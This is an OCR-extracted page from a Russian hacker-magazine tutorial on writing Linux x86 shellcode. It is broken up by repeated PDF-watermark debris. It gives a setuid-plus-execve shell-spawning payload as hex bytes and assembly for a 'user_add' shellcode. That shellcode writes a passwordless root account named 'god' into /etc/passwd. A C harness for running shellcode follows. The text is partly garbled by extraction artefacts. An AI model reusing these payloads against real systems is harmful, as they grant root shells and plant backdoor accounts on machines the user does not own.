книги хакеры / журнал хакер / 087_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
man 2 exit
mov |
al,0xb |
int |
80h |
Этот код почти не отличается от предыдущего. Добавился только вызов в начале setuid.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x99\x50"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
"\x54\x5b\x50\x53\x54\x59\xb0\x0b\xcd\x80";
30 байт — это неплохо. А теперь, думаю, пора приступить к написанию самого большого нашего шелл-кода — user_add.
LOGIN: GOD
В этом шелл-коде нам придется работать сразу с четырьмя системными вызовами: open, write, close и exit. Первый вызов будет открывать файл паролей с определенными параметрами (/etc/passwd), второй будет добавлять туда новую строчку, содержащую параметры нашего нового пользователя, третий вызов будет закрывать файл и, наконец, четвертый вызов будет корректно выходить из программы. Вперед!
cdq |
|
push |
edx |
pop |
eax |
push |
eax |
pop |
ecx |
push |
'swd.' |
push |
'/pas' |
push |
'/etc' |
mov |
byte [esp+11],al |
mov |
ebx,esp |
mov |
cx,0x441 |
mov |
al,5 |
int |
80h |
mov |
ebx,eax |
push |
'/shx' |
push |
'/bin' |
push |
'::/:' |
push |
':0:0' |
push |
'god:' |
mov |
byte [esp+19],0xa |
mov |
ecx,esp |
mov |
dl,20 |
mov |
al,4 |
int |
80h |
mov |
al,6 |
int |
80h |
xor |
ebx,ebx |
inc |
al |
int |
80h |
Теперь все в подробностях. В начале мы уже привычными инструкциями обнуляем наши любимые регистры и кладем имя редактируемого файла в стек. На конце имени
owned by me!
присутствует точка, это сделано для того, чтобы в шелл-коде не было нуля. Далее по коду этот лишний символ меняется на ноль, чтобы системные вызовы увидели конец строки.
Потом мы запихиваем первый параметр вызова open в EBX, а второй параметр — в ECX (0x441 посмотри насчет спецификации параметра), а в AL у нас идет номер системного вызова — 5. После чего мы вызываем int 80h.
Далее по курсу у нас второй вызов, с параметрами которого ты уже и сам можешь разобраться. Но сначала мы помещаем в EBX содержимое регистра EAX, так как при вызове open параметр сохраняется в EAX, а он нам нужен в EBX для следующего вызова. Мы затираем ненужный символ, но уже знаком переноса строки. Кладем стандартные параметры, которые я уже объяснял тебе в примере про write, и вызываем прерывание. Следующий вызов
— close, который требует всего одного парамет-
ра — дескриптора файла (EBX). И, наконец, exit с кодом выхода 0.
Надеюсь, ты уже набрал и сдампил шеллкод, здесь я его приводить не стану. Размер, конечно, не из маленьких, так как в шеллкоде содержатся довольно здоровые строки, но в целом он нормально оптимизирован.
ИСПЫТАНИЯ
Чтобы проверить, как работают наши замечательные шелл-коды, достаточно написать на Си коротенькую программу, с помощью которой и проводить многочисленные испытания. Практически прообраз эксплойта:
char sc[]=
"наш шелл-код" "находится здесь";
int main()
{
}
Компилируй, запускай, и если все в порядке, то программа передаст управление на наш шелл-код в памяти.
EXIT(0)
Шелл-кодинг — это очень интересное и увлекательное занятие, ты можешь полюбить его и возненавидеть в один момент. Если у тебя что-то не получается — не расстраивайся, а пиши мне на мыло, и я постараюсь тебе помочь. На этом все. Желаю тебе удачи в твоих экстремальных кодерских экспериментах.
BINARY YOUR’S z
XÀÊÅÐ 03 /87/ 06 |
151 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
КОДИНГ |
|
|
w Click |
|
|
|
|
|
|
|||||
|
|
|
|
|
|
m |
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
TEXT ETO’O
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|